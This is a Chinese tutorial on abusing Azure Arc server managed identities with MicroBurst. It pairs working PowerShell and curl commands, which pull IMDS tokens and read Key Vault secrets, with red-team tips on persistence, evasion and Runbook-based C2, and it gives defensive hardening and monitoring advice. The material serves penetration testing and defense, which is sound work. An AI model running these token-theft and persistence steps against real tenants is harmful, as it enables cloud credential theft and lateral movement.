1. 项目概述当“安全边界”成为攻击路径在混合云与多云架构成为主流的今天Azure Arc 作为微软连接和管理任何基础设施的桥梁其重要性不言而喻。它允许你将物理服务器、虚拟机甚至其他云上的Kubernetes集群统一“Arc化”到Azure Resource Manager的治理框架下。随之而来的一个核心安全特性就是“托管身份”。这个设计的初衷极其美好让运行在已启用Arc的服务器上的应用或脚本无需管理任何凭据如密码、客户端密钥就能安全地访问Azure资源如Key Vault、存储账户、SQL数据库。这听起来像是安全的终极形态——无密码、自动轮换、最小权限。然而安全领域有一条铁律任何为便利和自动化而设计的强大功能在攻击者眼中都可能是一条潜在的“黄金通道”。MicroBurst一个由NetSPI维护的、专注于Azure和Azure AD现为Microsoft Entra ID安全评估的PowerShell框架其“托管身份利用”模块正是将这条“黄金通道”清晰地展现在我们面前。它演示了一个拥有本地系统或高权限访问能力的攻击者如何从一个已加入Azure Arc的服务器节点出发滥用其系统分配的托管身份获取访问令牌进而横向移动至云端资源最终可能导致整个Azure订阅的沦陷。这个项目标题“MicroBurst托管身份利用指南获取Azure Arc证书和访问令牌”精准地指向了混合云安全中一个关键且危险的攻击面。它不仅仅是执行几条命令更是对Azure Arc安全模型的一次深度透视。通过这个指南安全研究人员、渗透测试人员和防御方可以清晰地理解当一台边界服务器被攻陷后攻击链是如何从本地权限提升延伸到云端身份滥用最终触及核心业务数据的。接下来我将拆解这一过程背后的原理、实操细节以及至关重要的防御思考。2. 核心原理与攻击链拆解要理解如何利用必须先理解其工作原理。Azure Arc服务器的托管身份其本质是在本地服务器与Azure AD之间建立了一个基于证书的、受控的信任关系。2.1 Azure Arc 托管身份的工作机制当一台服务器无论是物理机、VMware VM还是AWS EC2实例通过安装Azure Connected Machine Agent并成功连接到Azure Arc后如果为其启用了系统分配的托管身份会发生以下几件关键事情本地身份元数据服务IMDS端点建立代理会在本地服务器上启动一个轻量级服务监听http://localhost:40342。这个端点模拟了Azure VM上的Instance Metadata Service (IMDS)但专为Arc环境定制。服务主体创建在后台Azure资源管理器ARM会在关联的Microsoft Entra ID租户中为这台服务器创建一个服务主体Service Principal。这个服务主体就是该服务器在云端的“数字身份”。证书下发与轮换Azure会生成一个X.509证书及其私钥并通过安全通道下发到该服务器的特定受保护路径下例如Windows上在C:\ProgramData\AzureConnectedMachineAgent\Tokens下。这个证书是服务器向本地IMDS端点证明自己身份、进而换取Azure AD访问令牌的“门票”。令牌获取流程当服务器上的一个进程需要访问Azure资源时它会向本地的IDENTITY_ENDPOINT通常是http://localhost:40342/metadata/identity/oauth2/token发起HTTP请求。该请求必须携带一个特殊的挑战令牌Challenge Token这个令牌正是通过读取上述受保护的证书文件并经过特定计算得到的。IMDS服务验证挑战令牌有效后会代表服务器向Azure AD请求一个OAuth 2.0访问令牌Access Token并将其返回给请求进程。关键点整个令牌获取流程完全在服务器内部完成不涉及在代码或配置中硬编码任何密码或密钥。证书由Azure自动管理并定期轮换极大地提升了安全性。2.2 MicroBurst的攻击视角信任的滥用MicroBurst的攻击思路正是瞄准了这个自动化、高信任流程中的几个关键假设假设一访问本地IMDS端点40342端口是受控的。该端点绑定在localhost理论上只有本地进程可以访问。然而一旦攻击者通过漏洞利用、密码窃取或恶意软件获得了服务器上的一个高权限Shell如SYSTEM、root或himds组用户这个边界就被打破了。假设二读取挑战令牌所需的证书文件是受保护的。这些文件通常有严格的ACL访问控制列表只允许NT AUTHORITY\SYSTEM、root或himds组访问。但如果攻击者已经获得了相应权限这些保护形同虚设。假设三获取到的令牌只会被合法进程用于预期目的。攻击者可以劫持这个流程获取令牌并用它来访问任何被该托管身份授权访问的Azure资源而不仅仅是原本设计中的应用所需资源。因此攻击链变得清晰初始访问攻陷Arc服务器 - 本地权限提升获取SYSTEM/root或himds组权限 - 读取托管身份证书/生成挑战令牌 - 查询本地IMDS端点获取Azure AD访问令牌 - 使用令牌访问Azure资源如Key Vault获取机密、操作虚拟机、读取存储数据等。这个攻击链之所以危险是因为它实现了从本地资产到云资产的“无缝”横向移动。防御者可能精心设置了网络防火墙隔离本地与云但通过托管身份攻击者直接在受害主机上“借道”云原生身份体系绕过了传统的网络边界防护。3. 实操环境准备与工具解析在开始实际操作前我们必须明确环境与工具。警告以下所有操作仅应在你拥有完全所有权和测试授权的环境如Azure订阅、自己控制的实验室服务器中进行。未经授权测试他人系统是非法行为。3.1 测试环境搭建Azure订阅与资源组你需要一个Azure订阅可使用免费账户。创建一个资源组例如arc-lab-rg。目标服务器准备一台可以访问互联网的服务器Windows Server 2016 或主流Linux发行版。这可以是本地Hyper-V/VMware虚拟机也可以是其他云平台如AWS EC2、GCP Compute Engine的实例。确保你拥有该服务器的管理员/root权限。启用Azure Arc在Azure门户中导航到“Azure Arc” - “服务器” - “添加”。选择“使用交互式脚本生成”。在向导中选择你的订阅、资源组、区域并为服务器命名如arc-victim-server。在“身份”部分务必勾选“启用系统分配的托管身份”。这是整个实验的核心。根据目标服务器操作系统Windows/Linux下载并运行生成的脚本。该脚本会安装Azure Connected Machine Agent并完成连接。为托管身份授权服务器连接成功后在Azure门户中找到该Arc服务器资源。在左侧菜单的“设置”下点击“身份”。在“系统分配”标签页点击“Azure角色分配”。为其分配一个角色例如如果你想让其能读取Key Vault就创建一个Key Vault然后为这个托管身份分配“Key Vault Secrets User”角色。这一步模拟了真实场景中应用所需的权限。3.2 MicroBurst框架获取与结构MicroBurst是一个开源项目托管在GitHub上。# 克隆MicroBurst仓库 git clone https://github.com/NetSPI/MicroBurst.git其目录结构清晰我们重点关注MicroBurst/Azure下的脚本MicroBurst.ps1/MicroBurst.psm1: 主模块文件包含所有功能。Get-AzPasswords.ps1: 一个独立的、功能强大的脚本其中就包含了获取托管身份令牌的逻辑。其他脚本用于信息收集、爆破、存储账户枚举等。我们将主要使用Get-AzPasswords.ps1因为它已经封装了从IMDS获取令牌的完整逻辑。但理解其底层原理至关重要。3.3 权限要求分析在目标Arc服务器上执行利用你需要足够的权限来访问本地IMDS端点40342端口通常任何本地进程都可以向localhost:40342发送HTTP请求。读取挑战令牌文件或计算挑战令牌这是关键。在Windows上证书文件通常位于C:\ProgramData\AzureConnectedMachineAgent\Tokens默认只有SYSTEM和NT SERVICE\himds有读取权限。在Linux上相关文件位于/var/opt/azcmagent/tokens属于himds用户和组。因此最直接的路径是获得SYSTEMWindows或rootLinux权限。次优路径是成为himds组Linux的成员或通过某些漏洞/配置错误访问这些文件。执行PowerShellWindows或Bash/Linux命令用于运行MicroBurst脚本或手动执行HTTP请求。4. 手动利用流程深度解析在直接使用自动化工具前我们手动走一遍流程这能让你透彻理解每一个环节。我们将分Windows和Linux两种环境。4.1 Windows环境手动利用假设我们已经通过某种方式在arc-victim-serverWindows上获得了SYSTEM权限的PowerShell。第一步定位证书与计算挑战令牌证书和密钥存储在C:\ProgramData\AzureConnectedMachineAgent\Tokens。你会看到类似xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx_identity_0.pem的文件。这个PEM文件包含了证书和私钥。MicroBurst的Get-AzPasswords.ps1脚本中的关键函数Get-ChallengeToken揭示了计算挑战令牌的算法读取PEM文件。从中提取出私钥和证书。构造一个特殊的JWTJSON Web Token格式的挑战声明Challenge Claim其主体Payload是固定的{resource: https://management.core.windows.net/, authorization: {client_id: 托管身份的客户端ID, tenant_id: 租户ID}}。这些ID可以从IMDS的instance端点获取。使用从PEM文件中提取的私钥对这个JWT进行RS256签名。将签名后的JWT进行Base64Url编码得到最终的挑战令牌。这个过程比较复杂手动实现容易出错。这也是为什么直接使用封装好的工具更高效。但我们可以手动验证IMDS端点是否可访问并模拟工具的核心调用。第二步从IMDS获取访问令牌一旦我们有了挑战令牌无论是手动计算还是工具生成获取访问令牌的API调用是标准的。以下PowerShell代码展示了这一过程# 定义参数 $apiVersion 2020-06-01 # 指定要访问的Azure资源。https://management.azure.com/ 对应ARM API。 $resource https://management.azure.com/ # 构造完整的令牌请求URL。IDENTITY_ENDPOINT环境变量由Arc代理设置。 $endpoint $($env:IDENTITY_ENDPOINT)?resource$resourceapi-version$apiVersion # 请求头中必须包含 Metadata: true $headers {Metadata true} # 首次请求通常会返回401并在WWW-Authenticate头中告知挑战令牌文件的路径 try { $response Invoke-WebRequest -Uri $endpoint -Headers $headers -UseBasicParsing } catch { # 从异常响应中提取挑战令牌文件路径 $wwwAuthHeader $_.Exception.Response.Headers[WWW-Authenticate] if ($wwwAuthHeader -match Basic realm\(.?)\) { $challengeFilePath $matches[1] Write-Host [] Found challenge file path: $challengeFilePath } } if ($challengeFilePath) { # 读取挑战令牌文件内容 $challengeToken Get-Content -Path $challengeFilePath -Raw # 在授权头中使用Basic认证格式用户名任意通常为空密码为挑战令牌 $authHeader Basic $challengeToken $headers.Authorization $authHeader # 携带挑战令牌再次请求 $tokenResponse Invoke-WebRequest -Uri $endpoint -Headers $headers -UseBasicParsing # 解析响应获取访问令牌 $accessToken ($tokenResponse.Content | ConvertFrom-Json).access_token Write-Host [] Successfully obtained access token! # $accessToken 就是你的Bearer Token可用于后续API调用 # 例如$headersForAPI {Authorization Bearer $accessToken} }第三步使用令牌访问Azure资源拿到$accessToken后你可以将其用作Bearer Token调用Azure REST API。例如列出当前订阅下的所有资源组$subscriptionId (Invoke-RestMethod -Uri $($env:IDENTITY_ENDPOINT)/metadata/instance?api-version2020-06-01 -Headers {Metadatatrue}).compute.subscriptionId $armUrl https://management.azure.com/subscriptions/$subscriptionId/resourceGroups?api-version2021-04-01 $result Invoke-RestMethod -Uri $armUrl -Headers {Authorization Bearer $accessToken} $result.value | Select-Object name, location如果该托管身份被授予了Key Vault的读取权限你还可以用它来列出或获取机密$kvName your-lab-keyvault $secretName super-secret-password $kvUrl https://$kvName.vault.azure.net/secrets/$secretName?api-version7.3 $secretResult Invoke-RestMethod -Uri $kvUrl -Headers {Authorization Bearer $accessToken} $secretResult.value4.2 Linux环境手动利用在Linux上流程类似但路径和命令不同。假设已获得root权限。第一步获取挑战令牌路径和内容Linux的IMDS端点同样在http://localhost:40342。我们可以使用curl来交互。# 发起初始请求从响应头中提取挑战令牌文件路径 CHALLENGE_TOKEN_PATH$(curl -s -D - -H Metadata: true \ http://127.0.0.1:40342/metadata/identity/oauth2/token?api-version2019-11-01resourcehttps://management.azure.com/ \ | grep -i Www-Authenticate \ | cut -d -f 2 \ | tr -d \r\n | tr -d ) echo Challenge token path: $CHALLENGE_TOKEN_PATH # 读取挑战令牌内容 if [ -f $CHALLENGE_TOKEN_PATH ]; then CHALLENGE_TOKEN$(cat $CHALLENGE_TOKEN_PATH) echo Challenge token acquired. else echo Failed to locate challenge token. Check permissions. exit 1 fi第二步使用挑战令牌获取访问令牌# 携带挑战令牌作为Basic认证密码请求访问令牌 RESPONSE$(curl -s -H Metadata: true -H Authorization: Basic $CHALLENGE_TOKEN \ http://127.0.0.1:40342/metadata/identity/oauth2/token?api-version2019-11-01resourcehttps://management.azure.com/) # 解析JSON响应提取access_token ACCESS_TOKEN$(echo $RESPONSE | python3 -c import sys, json; print(json.load(sys.stdin)[access_token])) # 或者使用jq如果已安装: ACCESS_TOKEN$(echo $RESPONSE | jq -r .access_token) echo Access token: $ACCESS_TOKEN第三步使用令牌将$ACCESS_TOKEN用于后续的Azure CLI或直接REST API调用。例如使用Azure CLI需预先安装# 使用获取到的令牌登录Azure CLI仅当前会话 az login --access-token $ACCESS_TOKEN --tenant $(echo $RESPONSE | python3 -c import sys, json; print(json.load(sys.stdin)[tenant_id])) # 登录后即可使用az命令操作该身份有权访问的资源 az keyvault secret list --vault-name your-lab-keyvault重要提示手动流程清晰地展示了底层交互但在实战评估中使用MicroBurst这样的自动化工具效率更高错误更少。5. 使用MicroBurst进行自动化利用MicroBurst的Get-AzPasswords.ps1脚本极大地简化了上述过程。它不仅能获取令牌还能自动尝试用该令牌去发现和访问多种类型的Azure资源如Key Vault、存储账户、自动化账户等并提取其中的敏感信息。5.1 在Windows Arc服务器上执行将Get-AzPasswords.ps1脚本上传到已攻陷的Arc服务器或在服务器上直接下载。在提升权限的PowerShell中导入并执行脚本。# 方式一直接运行脚本如果未设置执行策略可能需要先执行 Set-ExecutionPolicy Bypass -Scope Process .\Get-AzPasswords.ps1 # 方式二导入模块后调用函数 Import-Module .\MicroBurst.psm1 Get-AzPasswords脚本执行后它会自动检测当前环境是否支持托管身份检查IDENTITY_ENDPOINT环境变量。尝试获取系统分配的托管身份令牌。使用获取到的令牌枚举当前订阅下的可用资源。针对发现的Key Vault、存储账户、自动化账户等尝试使用当前令牌进行访问并提取密码、密钥、连接字符串、运行手册Runbook等。将结果以清晰格式输出到控制台和CSV文件。5.2 在Linux Arc服务器上执行MicroBurst主要是PowerShell模块在Linux上运行需要PowerShell Core (pwsh)。确保目标Linux服务器已安装pwsh。上传Get-AzPasswords.ps1或整个MicroBurst目录到Linux服务器。使用pwsh运行。# 启动PowerShell Core pwsh # 在pwsh会话中 Import-Module ./MicroBurst.psm1 Get-AzPasswords其内部逻辑会适配Linux环境自动处理路径和API调用的差异。5.3 工具输出解读与后续行动Get-AzPasswords脚本的输出通常包含以下几个部分令牌信息显示成功获取的访问令牌的前几位和后几位出于安全不显示完整令牌以及令牌的过期时间、关联的服务主体ID对象ID等。资源枚举结果Key Vaults列出所有检测到的Key Vault并尝试列出其中的机密Secrets、证书Certificates、密钥Keys。对于能访问的机密会直接显示其值。存储账户列出存储账户尝试列出容器和Blob并生成带SAS令牌的访问链接。自动化账户尝试下载Runbook内容其中可能包含硬编码的凭据。应用服务/函数应用尝试获取发布配置文件Publish Profile其中包含部署凭据。总结报告以CSV格式输出所有发现的凭据和资源访问信息。作为攻击者或红队成员拿到这些信息后后续行动可能包括横向移动使用从Key Vault获取的数据库连接字符串直接连接并渗透数据库。权限提升如果托管身份被过度授权如拥有“Contributor”角色可以直接创建新的高权限用户、部署后门虚拟机或修改关键配置。数据窃取通过存储账户SAS令牌下载敏感业务数据。持久化在自动化账户中创建新的Runbook实现命令与控制C2。6. 防御策略与缓解措施了解攻击是为了更好的防御。针对这种利用方式我们可以从多个层面构建防御纵深。6.1 身份与访问管理IAM层面遵循最小权限原则这是最根本、最有效的防御措施。精确的角色分配为Azure Arc的托管身份分配权限时绝对不要使用宽泛的内置角色如“Contributor”、“Owner”。始终遵循最小权限原则。使用自定义角色如果内置角色不符合需求创建自定义角色仅包含应用运行所必需的具体权限如Microsoft.KeyVault/vaults/secrets/read。限定资源范围将角色分配的范围缩小到特定的资源组或单个资源如一个特定的Key Vault而不是整个订阅。定期审计与审查使用Azure Policy的“审核没有所有者/读取者/…角色的资源”策略或通过Azure AD的“权限管理”功能定期审查所有服务主体包括托管身份的权限分配清理不必要的和过度的授权。禁用不必要的托管身份如果某台Arc服务器上的应用不需要访问Azure资源则不要启用其系统分配的托管身份。考虑使用用户分配的托管身份并将其绑定到特定的、权限更受限的应用上。6.2 服务器安全层面加固本地环境防止攻击者获得读取挑战令牌文件所需的高权限。严格的本地权限控制确保C:\ProgramData\AzureConnectedMachineAgent\TokensWindows或/var/opt/azcmagent/tokensLinux目录及其文件的ACL严格受限只有必要的系统账户和服务账户如SYSTEM、himds有读取权限。定期进行权限审计。及时修补与防病毒保持服务器操作系统和所有应用的最新补丁部署端点检测与响应EDR解决方案防止初始漏洞利用和权限提升。限制本地管理员减少拥有本地管理员或root权限的用户数量。使用特权访问管理PAM解决方案来管理特权账户的访问。网络隔离虽然IMDS绑定在localhost但确保服务器本身处于安全的网络分段中限制不必要的入站和出站连接增加攻击者初始访问的难度。6.3 监控与检测层面发现异常活动Azure AD审计日志密切关注ServicePrincipalSignInLogs。筛选出身份类型为“Managed Identity”的登录事件。特别关注异常的令牌获取模式例如在非工作时间、或从非预期的地理位置如果服务器IP固定发起的令牌请求。异常的API调用通过AzureActivity日志监控托管身份服务主体执行的操作。例如一个原本只用于读取Key Vault机密的服务主体突然开始创建虚拟机或修改网络配置这是极高的危险信号。Microsoft Defender for Cloud启用并配置Defender for Cloud。它可以检测到托管身份的异常行为例如“使用托管身份从异常IP地址执行的操作”或“托管身份执行了高特权操作”。服务器端日志在Arc服务器上启用并集中收集Windows事件日志如Security日志中的特权使用事件或Linux的auditd/syslog日志监控对Token目录的异常访问。6.4 架构层面减少攻击面使用专用服务主体对于某些关键场景可以考虑不使用系统分配的托管身份而是创建一个权限受限的普通服务主体将凭据证书存储在服务器的受保护位置由应用读取。这样即使服务器被完全控制攻击者也只能获得这个特定服务主体的权限而不是那台服务器“与生俱来”的身份。但这牺牲了证书自动轮换的便利性需要自行管理证书生命周期。Just-In-Time (JIT) 访问对于需要高权限的操作考虑使用Azure AD Privileged Identity Management (PIM)将高权限角色设置为需要激活才能使用并且有时间和审批限制。这样即使令牌泄露其有效性和权限也受到限制。7. 常见问题与排查技巧实录在实际操作和防御配置中你可能会遇到以下问题。7.1 利用过程中常见错误错误Invoke-WebRequest : The remote server returned an error: (400) Bad Request.原因最常见的原因是$resource参数资源URI格式错误或不被支持。确保你请求的是正确的资源端点例如https://management.azure.com/、https://vault.azure.netKey Vault、https://storage.azure.com/等。末尾的斜杠有时也很重要。排查检查$resource变量的值。使用curl -v或Invoke-WebRequest的-Verbose参数查看详细的请求和响应头。错误Invoke-WebRequest : The remote server returned an error: (401) Unauthorized.且无法从响应头中提取挑战令牌路径。原因进程权限不足无法触发IMDS的挑战响应流程。或者该服务器根本没有启用系统分配的托管身份。排查检查$env:IDENTITY_ENDPOINT环境变量是否存在。如果不存在说明托管身份未启用或代理有问题。确保你以SYSTEMWindows或root/himds组用户Linux权限运行命令。在Windows上使用psexec -s -i cmd或类似工具获取SYSTEM shell。在Linux上使用sudo su -。手动访问http://localhost:40342/metadata/identity/oauth2/token?api-version2020-06-01resourcehttps://management.azure.com/看是否返回401和WWW-Authenticate头。错误成功获取令牌但调用Azure API时返回403 Forbidden。原因该托管身份没有被授予访问目标资源所需的权限。排查在Azure门户中导航到该Arc服务器资源 - 身份 - Azure角色分配检查其被分配的角色和范围。使用Azure CLI命令az role assignment list --assignee 托管身份的对象ID --all来全面查看。MicroBurst脚本运行后无输出或报“No managed identities found”。原因脚本可能无法正确检测环境或读取令牌文件。排查以管理员身份运行PowerShell。手动执行脚本中的关键检测步骤如检查环境变量、尝试读取令牌目录。在Linux上确保已安装PowerShell Core且版本兼容。7.2 防御配置中的注意事项角色分配延迟在Azure门户为托管身份分配角色后权限生效可能会有几分钟的延迟。如果立即测试失败请稍等片刻。多个托管身份一台服务器只能有一个系统分配的托管身份但可以关联多个用户分配的托管身份。MicroBurst默认获取的是系统分配的。如果需要测试用户分配的需要指定其客户端ID。令牌有效期获取的访问令牌默认有效期为8小时。攻击者获取令牌后在其失效前有充足的时间进行横向移动。因此实时监控比单纯依赖令牌过期更重要。网络策略限制虽然IMDS在本地但获取令牌后访问Azure资源需要出站互联网连接到login.microsoftonline.com和各类Azure服务端点。如果服务器处于严格的内网即使拿到令牌也无法与外网通信这构成了一道网络层面的防御。但这不应作为主要防御手段因为许多服务器需要出站连接。7.3 红队演练中的技巧权限维持如果获得了一个高权限的托管身份令牌可以考虑将其转换为一个更持久的凭据例如在Azure AD中为该服务主体添加一个新的证书或客户端密码如果权限足够。但注意对服务主体的修改操作本身会被记录在审计日志中。令牌的存储与使用获取到的访问令牌是Bearer Token可以保存下来在工具如curl、Postman或Azure PowerShell/CLI中直接使用无需再次与受害服务器交互。隐蔽性大量、快速的API调用很容易触发警报。在演练中应模拟正常应用的访问模式控制请求频率并优先访问与服务器角色相符的资源例如一个Web服务器身份去访问Key Vault获取配置比去创建虚拟机更合理。通过这个从原理到攻防的完整拆解你应该对Azure Arc托管身份这一强大功能背后的安全风险有了深刻的理解。安全始终是一个平衡便利性与风险的过程而作为防御者我们的任务就是确保这个天平不会向风险一侧过度倾斜。持续监控、最小权限和深度防御是应对此类“信任边界”攻击的不二法门。